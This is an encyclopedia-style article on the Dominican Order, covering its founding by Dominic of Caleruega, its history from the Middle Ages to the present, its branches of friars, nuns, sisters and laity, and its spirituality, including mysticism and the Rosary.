The Order of Preachers (, postnominal abbreviation OP), also known as the Dominican Order, is a mendicant Catholic religious order founded by the Spanish priest Dominic of Caleruega (also called Dominic de Guzmán) in France, approved by Pope Innocent III via the Papal bull Religiosam vitam on 22 December 1216. Members of the order, who are referred to as Dominicans, generally carry the letters OP after their names, standing for Ordinis Praedicatorum, meaning of the Order of Preachers. Membership in the order includes friars, nuns, active sisters, and affiliated lay or secular Dominicans (formerly known as tertiaries, though recently there has been a growing number of associates who are unrelated to the tertiaries).
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Founded to preach the Gospel and to oppose heresy, the teaching activity of the order and its scholastic organisation placed the Preachers in the forefront of the intellectual life of the Middle Ages. The order is famed for its intellectual tradition, having produced many leading theologians and philosophers. In the year 2018 there were 5,747 Dominican friars, including 4,299 priests. The Dominican Order is headed by the Master of the Order, as of 2019, Gerard Timoner III. Mary Magdalene and Catherine of Alexandria are the co-patronesses of the Order.
A number of other names have been used to refer to both the order and its members.
In England and other countries, the Dominican friars are referred to as "Black Friars" because of the black cappa or cloak they wear over their white habits. Dominicans were "Blackfriars", as opposed to "Whitefriars" (i.e., Carmelites) or "Greyfriars" (i.e., Franciscans). They are also distinct from the "Austin friars" (i.e., Augustinian Friars) who wear a similar habit.
In France, the Dominicans were known as "Jacobins" because their convent in Paris was attached to the Church of Saint-Jacques, now disappeared, on the way to Saint-Jacques-du-Haut-Pas, which belonged to the Italian Order of Saint James of Altopascio (James the Less) Sanctus Iacobus in Latin.
Their identification as Dominicans gave rise to the pun that they were the "Domini canes", or "Hounds of the Lord".
Foundation
The Dominican Order came into being in the Middle Ages at a time when men of God were no longer expected to stay behind the walls of a cloister. Instead, they travelled among the people, taking as their examples the apostles of the primitive Church. Out of this ideal emerged two orders of mendicant friars: one, the Friars Minor, was led by Francis of Assisi; the other, the Friars Preachers, by Dominic of Guzman. Like his contemporary, Francis, Dominic saw the need for a new type of organization, and the quick growth of the Dominicans and Franciscans during their first century of existence confirms that the orders of mendicant friars met a need. argues the Dominicans and other mendicant orders were an adaptation to the rise of the profit economy in medieval Europe.
Dominic sought to establish a new kind of order, one that would bring the dedication and systematic education of the older monastic orders like the Benedictines to bear on the religious problems of the burgeoning population of cities, but with more organizational flexibility than either monastic orders or the secular clergy. The Order of Preachers was founded in response to a then perceived need for informed preaching. Dominic's new order was to be trained to preach in the vernacular languages.
Dominic inspired his followers with loyalty to learning and virtue, a deep recognition of the spiritual power of worldly deprivation and the religious state, and a highly developed governmental structure. At the same time, Dominic inspired the members of his order to develop a "mixed" spirituality. They were both active in preaching, and contemplative in study, prayer and meditation. The brethren of the Dominican Order were urban and learned, as well as contemplative and mystical in their spirituality. While these traits affected the women of the order, the nuns especially absorbed the latter characteristics and made those characteristics their own. In England, the Dominican nuns blended these elements with the defining characteristics of English Dominican spirituality and created a spirituality and collective personality that set them apart.
Dominic of Caleruega
As an adolescent, he had a particular love of theology and the Scriptures became the foundation of his spirituality. During his studies in Palencia, Spain, he experienced a dreadful famine, prompting Dominic to sell all of his beloved books and other equipment to help his neighbours. After he completed his studies, Bishop Martin Bazan and Prior Diego d'Achebes appointed Dominic to the cathedral chapter and he became a Canon Regular under the Rule of Saint Augustine and the Constitutions for the cathedral church of Osma. At the age of twenty-four or twenty-five, he was ordained to the priesthood.
Preaching to the Cathars
In 1203, Dominic de Guzmán joined Diego de Acebo on an embassy to Denmark for the monarchy of Spain, to arrange the marriage between the son of King Alfonso VIII of Castile and a niece of King Valdemar II of Denmark. At that time the south of France was the stronghold of the Cathar movement. The Cathars (also known as Albigensians, due to their stronghold in Albi, France) were a heretical neo-gnostic sect. They believed that matter was evil and only the spirit was good; this was a fundamental challenge to the notion of the incarnation, central to Catholic theology. The Albigensian Crusade (1209–1229) was a 20-year military campaign initiated by Pope Innocent III to eliminate Catharism in Languedoc, in southern France.
Dominic saw the need for a response that would attempt to sway members of the Albigensian movement back to mainstream Christian thought. Dominic became inspired into a reforming zeal after they encountered Albigensian Christians at Toulouse. Diego immediately saw one of the paramount reasons for the spread of the unorthodox movement- the representatives of the Holy Church acted and moved with an offensive amount of pomp and ceremony. In contrast, the Cathars generally led ascetic lifestyles. For these reasons, Diego suggested that the papal legates begin to live a reformed apostolic life. The legates agreed to change if they could find a strong leader.
The prior took up the challenge, and he and Dominic dedicated themselves to the conversion of the Cathars. Despite this particular mission, Dominic met limited success converting Cathars by persuasion, "for though in his ten years of preaching a large number of converts were made, it has to be said that the results were not such as had been hoped for".
Dominican convent established
Dominic became the spiritual father to several Albigensian women he had reconciled to the faith, and in 1206 he established them in a convent in Prouille, near Toulouse. This convent would become the foundation of the Dominican nuns, thus making the Dominican nuns older than the Dominican friars. Diego sanctioned the building of a monastery for girls whose parents had sent them to the care of the Albigensians because their families were too poor to fulfill their basic needs.> The monastery in Prouille would later become Dominic's headquarters for his missionary effort. After two years on the mission field, Diego died while traveling back to Spain.
History
Dominic founded the Dominican Order in 1215 at a time when men of God were no longer expected to stay behind the walls of a cloister. Dominic established a religious community in Toulouse in 1214, to be governed by the rule of Saint Augustine and statutes to govern the life of the friars, including the Primitive Constitution. (The statutes borrowed somewhat from the Constitutions of Prémontré). The founding documents establish that the order was founded for two purposes: preaching and the salvation of souls.
Middle Ages
Dominic established a religious community in Toulouse in 1214, to be governed by the rule of Saint Augustine and statutes to govern the life of the friars, including the Primitive Constitution.
In July 1215, with the approbation of Bishop Foulques of Toulouse, Dominic ordered his followers into an institutional life. Its purpose was revolutionary in the pastoral ministry of the Catholic Church. These priests were organized and well trained in religious studies. Dominic needed a framework—a rule—to organize these components. The Rule of Saint Augustine was an obvious choice for the Dominican Order, according to Dominic's successor Jordan of Saxony, in the Libellus de principiis, because it lent itself to the "salvation of souls through preaching". By this choice, however, the Dominican brothers designated themselves not monks, but canons-regular. They could practice ministry and common life while existing in individual poverty.
Dominic's education at Palencia gave him the knowledge he needed to overcome the Manicheans. With charity, the other concept that most defines the work and spirituality of the order, study became the method most used by the Dominicans in working to defend the Church against the perils that hounded it, and also of enlarging its authority over larger areas of the known world. In Dominic's thinking, it was impossible for men to preach what they did not or could not understand. When the brethren left Prouille, then, to begin their apostolic work, Dominic sent Matthew of Paris to establish a school near the University of Paris. This was the first of many Dominican schools established by the brethren, some near large universities throughout Europe. The women of the order also established schools for the children of the local gentry.
The Order of Preachers was approved in December 1216 and January 1217 by Pope Honorius III in the papal bulls Religiosam vitam and Nos attendentes. On January 21, 1217, Honorius issued the bull Gratiarum omnium recognizing Dominic's followers as an order dedicated to study and universally authorized to preach, a power formerly reserved to local episcopal authorization.
On August 15, 1217, Dominic dispatched seven of his followers to the great university center of Paris to establish a priory focused on study and preaching. The Convent of St. Jacques, would eventually become the order's first studium generale. Dominic was to establish similar foundations at other university towns of the day, Bologna in 1218, Palencia and Montpellier in 1220, and Oxford just before his death in 1221.
In 1219 Pope Honorius III invited Dominic and his companions to take up residence at the ancient Roman basilica of Santa Sabina, which they did by early 1220. Before that time the friars had only a temporary residence in Rome at the convent of San Sisto Vecchio which Honorius III had given to Dominic circa 1218 intending it to become a convent for a reformation of nuns at Rome under Dominic's guidance. In May 1220 at Bologna the order's first General Chapter mandated that each new priory of the order maintain its own studium conventuale, thus laying the foundation of the Dominican tradition of sponsoring widespread institutions of learning. The official foundation of the Dominican convent at Santa Sabina with its studium conventuale occurred with the legal transfer of property from Honorius III to the Order of Preachers on June 5, 1222. This studium was transformed into the order's first studium provinciale by Thomas Aquinas in 1265. Part of the curriculum of this studium was relocated in 1288 at the studium of Santa Maria sopra Minerva which in the 16th century world be transformed into the College of Saint Thomas (). In the 20th century the college would be relocated to the convent of Saints Dominic and Sixtus and would be transformed into the Pontifical University of Saint Thomas Aquinas, Angelicum.
The Dominican friars quickly spread, including to England, where they appeared in Oxford in 1221. In the 13th century the order reached all classes of Christian society, fought heresy, schism, and paganism by word and book, and by its missions to the north of Europe, to Africa, and Asia passed beyond the frontiers of Christendom. Its schools spread throughout the entire Church; its doctors wrote monumental works in all branches of knowledge, including the extremely important Albertus Magnus and Thomas Aquinas. Its members included popes, cardinals, bishops, legates, inquisitors, confessors of princes, ambassadors, and paciarii (enforcers of the peace decreed by popes or councils).
The order's origins in battling heterodoxy influenced its later development and reputation. Many later Dominicans battled heresy as part of their apostolate. Indeed, many years after Dominic reacted to the Cathars, the first Grand Inquistor of Spain, Tomás de Torquemada, would be drawn from the Dominican Order. The order was appointed by Pope Gregory IX the duty to carry out the Inquisition. Torture was not regarded as a mode of punishment, but purely as a means of eliciting the truth. In his Papal Bull Ad extirpanda of 1252, Pope Innocent IV authorised the Dominicans' use of torture under prescribed circumstances.
The expansion of the order produced changes. A smaller emphasis on doctrinal activity favoured the development here and there of the ascetic and contemplative life and there sprang up, especially in Germany and Italy, the mystical movement with which the names of Meister Eckhart, Heinrich Suso, Johannes Tauler, and Catherine of Siena are associated. (See German mysticism, which has also been called "Dominican mysticism".) This movement was the prelude to the reforms undertaken, at the end of the century, by Raymond of Capua, and continued in the following century. At the same time the order found itself face to face with the Renaissance. It struggled against pagan tendencies in Renaissance humanism, in Italy through Dominici and Savonarola, in Germany through the theologians of Cologne but it also furnished humanism with such advanced writers as Francesco Colonna (probably the writer of the Hypnerotomachia Poliphili) and Matteo Bandello. Many Dominicans took part in the artistic activity of the age, the most prominent being Fra Angelico and Fra Bartolomeo.
Women
Although Dominic and the early brethren had instituted female Dominican houses at Prouille and other places by 1227, houses of women attached to the Order became so popular that some of the friars had misgivings about the increasing demands of female religious establishments on their time and resources. Nonetheless, women's houses dotted the countryside throughout Europe. There were seventy-four Dominican female houses in Germany, forty-two in Italy, nine in France, eight in Spain, six in Bohemia, three in Hungary, and three in Poland. Many of the German religious houses that lodged women had been home to communities of women, such as Beguines, that became Dominican once they were taught by the traveling preachers and put under the jurisdiction of the Dominican authoritative structure. A number of these houses became centers of study and mystical spirituality in the 14th century, as expressed in works such as the sister-books. There were one hundred and fifty-seven nunneries in the order by 1358. After that year, the number lessened considerably due to the Black Death.
In places besides Germany, convents were founded as retreats from the world for women of the upper classes. These were original projects funded by wealthy patrons, including other women. Among these was Countess Margaret of Flanders who established the monastery of Lille, while Val-Duchesse at Oudergem near Brussels was built with the wealth of Adelaide of Burgundy, Duchess of Brabant (1262).
Female houses differed from male Dominican houses in that they were enclosed. The sisters chanted the Divine Office and kept all the monastic observances. The nuns lived under the authority of the general and provincial chapters of the order. They shared in all the applicable privileges of the order. The friars served as their confessors, priests, teachers and spiritual mentors.
Women could be professed to the Dominican religious life at the age of thirteen. The formula for profession contained in the Constitutions of Montargis Priory (1250) requires that nuns pledge obedience to God, the Blessed Virgin, their prioress and her successors according to the Rule of Saint Augustine and the institute of the order, until death. The clothing of the sisters consisted of a white tunic and scapular, a leather belt, a black mantle, and a black veil. Candidates to profession were questioned to reveal whether they were actually married women who had merely separated from their husbands. Their intellectual abilities were also tested. Nuns were to be silent in places of prayer, the cloister, the dormitory, and refectory. Silence was maintained unless the prioress granted an exception for a specific cause. Speaking was allowed in the common parlor, but it was subordinate to strict rules, and the prioress, subprioress or other senior nun had to be present.
As well as sewing, embroidery and other genteel pursuits, the nuns participated in a number of intellectual activities, including reading and discussing pious literature. In the Strassburg monastery of Saint Margaret, some of the nuns could converse fluently in Latin. Learning still had an elevated place in the lives of these religious. In fact, Margarette Reglerin, a daughter of a wealthy Nuremberg family, was dismissed from a convent because she did not have the ability or will to learn.
English Province
In England, the Dominican Province began at the second general chapter of the Dominican Order in Bologna during the spring of 1221. Dominic dispatched twelve friars to England under the guidance of their English prior, Gilbert of Fresney. They landed in Dover on August 5, 1221. The province officially came into being at its first provincial chapter in 1230.
The English Province was a component of the international order from which it obtained its laws, direction, and instructions. It was also, however, a group of Englishmen. Its direct supervisors were from England, and the members of the English Province dwelt and labored in English cities, towns, villages, and roadways. English and European ingredients constantly came in contact. The international side of the province's existence influenced the national, and the national responded to, adapted, and sometimes constrained the international.
The first Dominican site in England was at Oxford, in the parishes of St. Edward and St. Adelaide. The friars built an oratory to the Blessed Virgin Mary and by 1265, the brethren, in keeping with their devotion to study, began erecting a school. Actually, the Dominican brothers likely began a school immediately after their arrival, as priories were legally schools. Information about the schools of the English Province is limited, but a few facts are known. Much of the information available is taken from visitation records. The "visitation" was a section of the province through which visitors to each priory could describe the state of its religious life and its studies to the next chapter. There were four such visits in England and Wales—Oxford, London, Cambridge and York. All Dominican students were required to learn grammar, old and new logic, natural philosophy and theology. Of all of the curricular areas, however, theology was the most important. This is not surprising when one remembers Dominic's zeal for it.
Dartford Priory was established long after the primary period of monastic foundation in England had ended. It emulated, then, the monasteries found in Europe—mainly France and German—as well as the monastic traditions of their English Dominican brothers. The first nuns to inhabit Dartford were sent from Poissy Priory in France. Even on the eve of the Dissolution, Prioress Jane Vane wrote to Cromwell on behalf of a postulant, saying that though she had not actually been professed, she was professed in her heart and in the eyes of God. This is only one such example of dedication. Profession in Dartford Priory seems, then, to have been made based on personal commitment, and one's personal association with God.
As heirs of the Dominican priory of Poissy in France, the nuns of Dartford Priory in England were also heirs to a tradition of profound learning and piety. Strict discipline and plain living were characteristic of the monastery throughout its existence.
Reformation to French Revolution
Bartolomé de Las Casas, as a settler in the New World, was galvanized by witnessing the brutal torture and genocide of the Native Americans by the Spanish colonists. He became famous for his advocacy of the rights of Native Americans, whose cultures, especially in the Caribbean, he describes with care.
Gaspar da Cruz (c.1520–1570), who worked all over the Portuguese colonial empire in Asia, was probably the first Christian missionary to preach (unsuccessfully) in Cambodia. After a (similarly unsuccessful) stint, in 1556, in Guangzhou, China, he eventually returned to Portugal and became the first European to publish a book devoted exclusively to China in 1569/1570.
The beginning of the 16th century confronted the order with the upheavals of Revolution. The spread of Protestantism cost it six or seven provinces and several hundreds of convents, but the discovery of the New World opened up a fresh field of activity. In the 18th century, there were numerous attempts at reform, accompanied by a reduction in the number of devotees. The French Revolution ruined the order in France, and crises that more or less rapidly followed considerably lessened or wholly destroyed numerous provinces.
19th century to present
During the early 19th century, the number of Preachers seems never to have sunk below 3,500. Statistics for 1876 show 3,748, but 500 of these had been expelled from their convents and were engaged in parochial work. Statistics for 1910 show a total of 4,472 nominally or actually engaged in proper activities of the order. By the year 2013 there were 6058 Dominican friars, including 4,470 priests.
In the revival movement France held a foremost place, owing to the reputation and convincing power of the orator, Jean-Baptiste Henri Lacordaire (1802–1861). He took the habit of a Friar Preacher at Rome (1839), and the province of France was canonically erected in 1850. From this province were detached the province of Lyon, called Occitania (1862), that of Toulouse (1869), and that of Canada (1909). The French restoration likewise furnished many laborers to other provinces, to assist in their organization and progress. From it came the master general who remained longest at the head of the administration during the 19th century, Père Vincent Jandel (1850–1872). Here should be mentioned the province of Saint Joseph in the United States. Founded in 1805 by Edward Fenwick, afterwards first Bishop of Cincinnati, Ohio (1821–1832). In 1905, it established a large house of studies at Washington, D.C., called the Dominican House of Studies.
The province of France has produced a large number of preachers. The conferences of Notre-Dame-de-Paris were inaugurated by Père Lacordaire. The Dominicans of the province of France furnished Lacordaire (1835–1836, 1843–1851), Jacques Monsabré, and Joseph Ollivier. The pulpit of Notre Dame has been occupied by a succession of Dominicans. Père Henri Didon (1840-1900) was a Dominican. The house of studies of the province of France publishes L'Année Dominicaine (founded 1859), La Revue des Sciences Philosophiques et Theologiques (1907), and La Revue de la Jeunesse (1909). French Dominicans founded and administer the École Biblique et Archéologique française de Jérusalem founded in 1890 by Marie-Joseph Lagrange (1855–1938), one of the leading international centres for biblical research. It is at the École Biblique that the famed Jerusalem Bible (both editions) was prepared. Likewise Cardinal Yves Congar was a product of the French province of the Order of Preachers.
Doctrinal development has had an important place in the restoration of the Preachers. Several institutions, besides those already mentioned, played important parts. Such is the Biblical school at Jerusalem, open to the religious of the order and to secular clerics, which publishes the Revue Biblique. The Pontificium Collegium Internationale Angelicum, the future Pontifical University of Saint Thomas Aquinas, Angelicum established at Rome in 1908 by Master Hyacinth Cormier, opened its doors to regulars and seculars for the study of the sacred sciences. In addition to the reviews above are the Revue Thomiste, founded by Père Thomas Coconnier (d. 1908), and the Analecta Ordinis Prædicatorum (1893). Among numerous writers of the order in this period are: Cardinals Thomas Zigliara (d. 1893) and Zephirin González (d. 1894), two esteemed philosophers; Alberto Guillelmotti (d. 1893), historian of the Pontifical Navy, and historian Heinrich Denifle (d. 1905).
During the Reformation, many of the monasteries of Dominican nuns were forced to close. One which managed to survive, and afterwards founded many new houses, was St Ursula's in Augsburg. In the seventeenth century, monasteries of Dominican women were often asked by their bishops to undertake apostolic work, particularly educating girls and visiting the sick. St Ursula's returned to an enclosed life in the eighteenth century, but in the nineteenth century, after Napoleon had closed many European women's monasteries, King Louis I of Bavaria in 1828 restored the Religious Orders of women in his realm, provided that the nuns undertook some active work useful to the State (usually teaching or nursing). In 1877, Bishop Ricards in South Africa requested that Augsburg send a group of nuns to start a teaching mission in King Williamstown. From this mission were founded many Third Order Regular congregations of Dominican sisters, with their own constitutions, though still following the Rule of Saint Augustine and affiliated to the Dominican Order. These include the Dominican Sisters of Oakford, KwazuluNatal (1881), the Dominican Missionary Sisters, Zimbabwe, (1890) and the Dominican Sisters of Newcastle, KwazuluNatal (1891).
The Dominican Order has influenced the formation of other Orders outside of the Roman Catholic Church, such as the Anglican Order of Preachers which is a Dominican Order within the worldwide Anglican Communion. Since all members are not obliged to take solemn or simple vows of poverty, chastity, and obedience, it operates more like a third order with a third order style structure, with no contemporary or canonical ties to the historic order founded by Dominic of Guzman.
Missions abroad
The Pax Mongolica of the 13th and 14th centuries that united vast parts of the European-Asian continents enabled western missionaries to travel east. "Dominican friars were preaching the Gospel on the Volga Steppes by 1225 (the year following the establishment of the Kipchak Khanate by Batu), and in 1240 Pope Gregory IX despatched others to Persia and Armenia." The most famous Dominican was Jordanus de Severac who was sent first to Persia then in 1321, together with a companion (Nicolas of Pistoia) to India. Father Jordanus' work and observations are recorded in two letters he wrote to the friars of Armenia, and a book, Mirabilia, translated as Wonders of the East.
Another Dominican, Father Recold of Monte Croce, worked in Syria and Persia. His travels took him from Acre to Tabriz, and on to Baghdad. There "he was welcomed by the Dominican fathers already there, and with them entered into a disputation with the Nestorians." Although a number of Dominicans and Franciscans persevered against the growing faith of Islam throughout the region, all Christian missionaries were soon expelled with Timur's death in 1405.
By the 1850s, the Dominicans had half a million followers in the Philippines and well-established missions in the Chinese province of Fujian and Tonkin, Vietnam, performing thousands of baptisms each year.
Divisions
The Friars, Nuns, Sisters, Members of Priestly Fraternities of Saint Dominic, Dominican Laity and Dominican Youths together form the Order of Preachers.
Nuns
The Dominican nuns were founded by Dominic in 1206 even before he had established the friars in 1216. Dominican Nuns are consecrated to God and live the mission of the Order of Preachers to preach the Gospel for the salvation of souls through a life of prayer, penance, hearing the Word of God and contemplating the mysteries of Salvation. The Nuns of the Order of Preachers are to seek, ponder and call upon the Lord Jesus Christ in solitude so that the WORD proceeding from the mouth of God may not return to Him empty, but may accomplish those things for which It was sent. (Isaiah 55:10) Living in the heart of the Preaching Family, the nuns live in the WORD of God which the friars, sisters and laity preach. In the cloister the nuns devote themselves totally to God and perpetuate that singular gift which Dominic had of bearing sinners, the down-trodden and the afflicted in the inmost sanctuary of his compassion. They incarnate in their lives the cry of Dominic:
“O Lord, what will become of sinners!” The nuns celebrated their 800th anniversary in 2006.
Sisters
Women have been part of the Dominican Order since the beginning, but distinct active congregations of Dominican sisters in their current form are largely a product of the nineteenth century and afterwards. They draw their origins both from the Dominican nuns and the communities of women tertiaries (lay women) who lived in their own homes and gathered regularly to pray and study: the most famous of these was the Mantellate attached to Saint Dominic's church in Siena, to which Catherine of Siena belonged. In the seventeenth century, some European Dominican monasteries (e.g. St Ursula's, Augsburg) temporarily became no longer enclosed, so they could engage in teaching or nursing or other work in response to pressing local need. Any daughter houses they founded, however, became independent. But in the nineteenth century, in response to increasing missionary fervor, monasteries were asked to send groups of women to found schools and medical clinics around the world. Large numbers of Catholic women traveled to Africa, the Americas, and the East to teach and support new communities of Catholics there, both settlers and converts. Owing to the large distances involved, these groups needed to be self-governing, and they frequently planted new self-governing congregations in neighboring mission areas in order to respond more effectively to the perceived pastoral needs. Following on from this period of growth in the nineteenth century, and another great period of growth in those joining these congregations in the 1950s, there are currently 24,600 Sisters belonging to 150 Dominican Religious Congregations present in 109 countries affiliated to Dominican Sisters International.
As well as the friars, Dominican sisters live their lives supported by four common values, often referred to as the Four Pillars of Dominican Life, they are: community life, common prayer, study and service. Dominic called this fourfold pattern of life the "holy preaching". Henri Matisse was so moved by the care that he received from the Dominican Sisters that he collaborated in the design and interior decoration of their Chapelle du Saint-Marie du Rosaire in Vence, France.
Priestly Fraternities of St. Dominic
The Priestly Fraternities of St. Dominic are diocesan priests who are formally affiliated to the Order of Preachers (Dominicans) through a Rule of life that they profess, and so strive for evangelical perfection under the overall direction of the Dominican friars. The origins of the Dominican fraternities can be traced from the Dominican third Order secular, which then included both priests and lay persons as members. Now existing as a separate association from that of the laity, and with its own distinct rule to follow, the Priestly Fraternities of St. Dominic continues to be guided by the Order in embracing the gift of the spirituality of Dominic in the unique context of the diocesan priests. Along with the special grace of the Sacrament of Holy Orders, which helps them to perform the acts of the sacred ministry worthily, they receive new spiritual help from the profession, which makes them members of the Dominican Family and sharers in the grace and mission of the Order. While the Order provides them with these spiritual aids and directs them to their own sanctification, it leaves them free for the complete service of the local Church, under the jurisdiction of their own Bishop.
Laity
Lay Dominicans are governed by their own rule, the Rule of the Lay Fraternities of St. Dominic, promulgated by the Master in 1987. It is the fifth Rule of the Dominican Laity; the first was issued in 1285. Lay Dominicans are also governed by the Fundamental Constitution of the Dominican Laity, and their provinces provide a General Directory and Statutes. According to their Fundamental Constitution of the Dominican Laity, sec. 4, "They have a distinctive character in both their spirituality and their service to God and neighbor. As members of the Order, they share in its apostolic mission through prayer, study and preaching according to the state of the laity."
Pope Pius XII, in Chosen Laymen, an Address to the Third Order of St. Dominic (1958), said, "The true condition of salvation is to meet the divine invitation by accepting the Catholic 'credo' and by observing the commandments. But the Lord expects more from you [Lay Dominicans], and the Church urges you to continue seeking the intimate knowledge of God and His works, to search for a more complete and valuable expression of this knowledge, a refinement of the Christian attitudes which derive from this knowledge."
The two greatest saints among them are Catherine of Siena and Rose of Lima, who lived ascetic lives in their family homes, yet both had widespread influence in their societies.
Today, there is a growing number of Associates who share the Dominican charism. Dominican Associates are Christian women and men; married, single, divorced, and widowed; clergy members and lay persons who were first drawn to and then called to live out the charism and continue the mission of the Dominican Order – to praise, to bless, to preach. Associates do not take vows, but rather make a commitment to be partners with vowed members, and to share the mission and charism of the Dominican Family in their own lives, families, churches, neighborhoods, workplaces, and cities. They are most often associated with a particular apostolic work of a congregation of active Dominican sisters.
Dominican spirituality
The Dominican emphasis on learning and on charity distinguishes it from other monastic and mendicant orders. As the order first developed on the European continent, learning continued to be emphasized by these friars and their sisters in Christ. These religious also struggled for a deeply personal, intimate relationship with God. When the order reached England, many of these attributes were kept, but the English gave the order additional, specialized characteristics.
Humbert of Romans
Humbert of Romans, the master general of the order from 1254 to 1263, was a great administrator, as well as preacher and writer. It was under his tenure as master general that the sisters in the order were given official membership. He also wanted his friars to reach excellence in their preaching, and this was his most lasting contribution to the order. Humbert is at the center of ascetic writers in the Dominican Order. He advised his readers,
"[Young Dominicans] are also to be instructed not to be eager to see visions or work miracles, since these avail little to salvation, and sometimes we are fooled by them; but rather they should be eager to do good in which salvation consists. Also, they should be taught not to be sad if they do not enjoy the divine consolations they hear others have; but they should know the loving Father for some reason sometimes withholds these. Again, they should learn that if they lack the grace of compunction or devotion they should not think they are not in the state of grace as long as they have good will, which is all that God regards".</ref>
The English Dominicans took this to heart, and made it the focal point of their mysticism.
Mysticism
By 1300, the enthusiasm for preaching and conversion within the order lessened. Mysticism, full of the ideas Albertus Magnus expostulated, became the devotion of the greatest minds and hands within the organization. It became a "powerful instrument of personal and theological transformation both within the Order of Preachers and throughout the wider reaches of Christendom.
Although Albertus Magnus did much to instill mysticism in the Order of Preachers, it is a concept that reaches back to the Hebrew Bible. In the tradition of Holy Writ, the impossibility of coming face to face with God is a recurring motif, thus the commandment against graven images (Exodus 20.4–5). As time passed, Jewish and early Christian writings presented the idea of 'unknowing,' where God's presence was enveloped in a dark cloud. All of these ideas associated with mysticism were at play in the spirituality of the Dominican community, and not only among the men. In Europe, in fact, it was often the female members of the order, such as Catherine of Siena, Mechthild of Magdeburg, Christine of Stommeln, Margaret Ebner, and Elsbet Stagl, that gained reputations for having mystical experiences. Notable male members of the order associated with mysticism include Meister Eckhart and Henry Suso.
Saint Albertus Magnus
Another who contributed significantly to the spirituality of the order is Saint Albert the Great, influence on the brotherhood permeated nearly every aspect of Dominican life. One of Albert's greatest contributions was his study of Dionysius the Areopagite, a mystical theologian whose words left an indelible imprint in the medieval period. Magnus' writings made a significant contribution to German mysticism, which became vibrant in the minds of the Beguines and women such as Hildegard of Bingen and Mechthild of Magdeburg. Mysticism refers to the conviction that all believers have the capability to experience God's love. This love may manifest itself through brief ecstatic experiences, such that one may be engulfed by God and gain an immediate knowledge of Him, which is unknowable through the intellect alone.
Albertus Magnus championed the idea, drawn from Dionysus, that positive knowledge of God is possible, but obscure. Thus, it is easier to state what God is not, than to state what God is:
"... we affirm things of God only relatively, that is, casually, whereas we deny things of God absolutely, that is, with reference to what He is in Himself. And there is no contradiction between a relative affirmation and an absolute negation. It is not contradictory to say that someone is white-toothed and not white".
Albert the Great wrote that wisdom and understanding enhance one's faith in God. According to him, these are the tools that God uses to commune with a contemplative. Love in the soul is both the cause and result of true understanding and judgement. It causes not only an intellectual knowledge of God, but a spiritual and emotional knowledge as well. Contemplation is the means whereby one can obtain this goal of understanding. Things that once seemed static and unchanging become full of possibility and perfection. The contemplative then knows that God is, but she does not know what God is. Thus, contemplation forever produces a mystified, imperfect knowledge of God. The soul is exalted beyond the rest of God's creation but it cannot see God Himself.
English Dominican mysticism
Concerning humanity as the image of Christ, English Dominican spirituality concentrated on the moral implications of image-bearing rather than the philosophical foundations of the imago Dei. The process of Christ's life, and the process of image-bearing, amends humanity to God's image. The idea of the "image of God" demonstrates both the ability of man to move toward God (as partakers in Christ's redeeming sacrifice), and that, on some level, man is always an image of God. As their love and knowledge of God grows and is sanctified by faith and experience, the image of God within man becomes ever more bright and clear.
English Dominican mysticism in the late medieval period differed from European strands of it in that, whereas European Dominican mysticism tended to concentrate on ecstatic experiences of union with the divine, English Dominican mysticism's ultimate focus was on a crucial dynamic in one's personal relationship with God. This was an essential moral imitation of the Savior as an ideal for religious change, and as the means for reformation of humanity's nature as an image of divinity. This type of mysticism carried with it four elements. First, spiritually it emulated the moral essence of Christ's life. Second, there was a connection linking moral emulation of Christ's life and humanity's disposition as images of the divine. Third, English Dominican mysticism focused on an embodied spirituality with a structured love of fellow men at its center. Finally, the supreme aspiration of this mysticism was either an ethical or an actual union with God.
For English Dominican mystics, the mystical experience was not expressed just in one moment of the full knowledge of God, but in the journey of, or process of, faith. This then led to an understanding that was directed toward an experiential knowledge of divinity. It is important to understand, however, that for these mystics it was possible to pursue mystical life without the visions and voices that are usually associated with such a relationship with God. They experienced a mystical process that allowed them, in the end, to experience what they had already gained knowledge of through their faith only.
The centre of all mystical experience is, of course, Christ. English Dominicans sought to gain a full knowledge of Christ through an imitation of His life. English mystics of all types tended to focus on the moral values that the events in Christ's life exemplified. This led to a "progressive understanding of the meanings of Scripture—literal, moral, allegorical, and anagogical"—that was contained within the mystical journey itself. From these considerations of Scripture comes the simplest way to imitate Christ: an emulation of the moral actions and attitudes that Jesus demonstrated in His earthly ministry becomes the most significant way to feel and have knowledge of God.
The English concentrated on the spirit of the events of Christ's life, not the literality of events. They neither expected nor sought the appearance of the stigmata or any other physical manifestation. They wanted to create in themselves that environment that allowed Jesus to fulfill His divine mission, insofar as they were able. At the center of this environment was love: the love that Christ showed for humanity in becoming human. Christ's love reveals the mercy of God and His care for His creation. English Dominican mystics sought through this love to become images of God. Love led to spiritual growth that, in turn, reflected an increase in love for God and humanity. This increase in universal love allowed men's wills to conform to God's will, just as Christ's will submitted to the Father's will.
Charity and meekness
As the image of God grows within man, he learns to rely less on an intellectual pursuit of virtue and more on an affective pursuit of charity and meekness. Thus, man then directs his path to that One, and the love for, and of, Christ guides man's very nature to become centered on the One, and on his neighbor as well. Charity is the manifestation of the pure love of Christ, both for and by His follower.
Although the ultimate attainment for this type of mysticism is union with God, it is not necessarily visionary, nor does it hope only for ecstatic experiences; instead, mystical life is successful if it is imbued with charity. The goal is just as much to become like Christ as it is to become one with Him. Those who believe in Christ should first have faith in Him without becoming engaged in such overwhelming phenomena.
The Dominican Order was affected by a number of elemental influences. Its early members imbued the order with a mysticism and learning. The Europeans of the order embraced ecstatic mysticism on a grand scale and looked to a union with the Creator. The English Dominicans looked for this complete unity as well, but were not so focused on ecstatic experiences. Instead, their goal was to emulate the moral life of Christ more completely. The Dartford nuns were surrounded by all of these legacies, and used them to create something unique. Though they are not called mystics, they are known for their piety toward God and their determination to live lives devoted to, and in emulation of, Him.
Rosary
Devotion to the Virgin Mary was another very important aspect of Dominican spirituality. As an order, the Dominicans believed that they were established through the good graces of Christ's mother, and through prayers she sent missionaries to save the souls of nonbelievers. Dominican brothers and sisters who were unable to participate in the Divine Office sang the Little Office of the Blessed Virgin each day and saluted her as their advocate.
Throughout the centuries, the Holy Rosary has been an important element among the Dominicans. Pope Pius XI stated that: "The Rosary of Mary is the principle and foundation on which the very Order of Saint Dominic rests for making perfect the life of its members and obtaining the salvation of others."
Histories of the Holy Rosary often attribute its origin to Dominic himself through the Virgin Mary. Our Lady of the Rosary is the title related to the Marian apparition to Dominic in 1208 in the church of Prouille in which the Virgin Mary gave the Rosary to him. For centuries, Dominicans have been instrumental in spreading the rosary and emphasizing the Catholic belief in the power of the rosary.
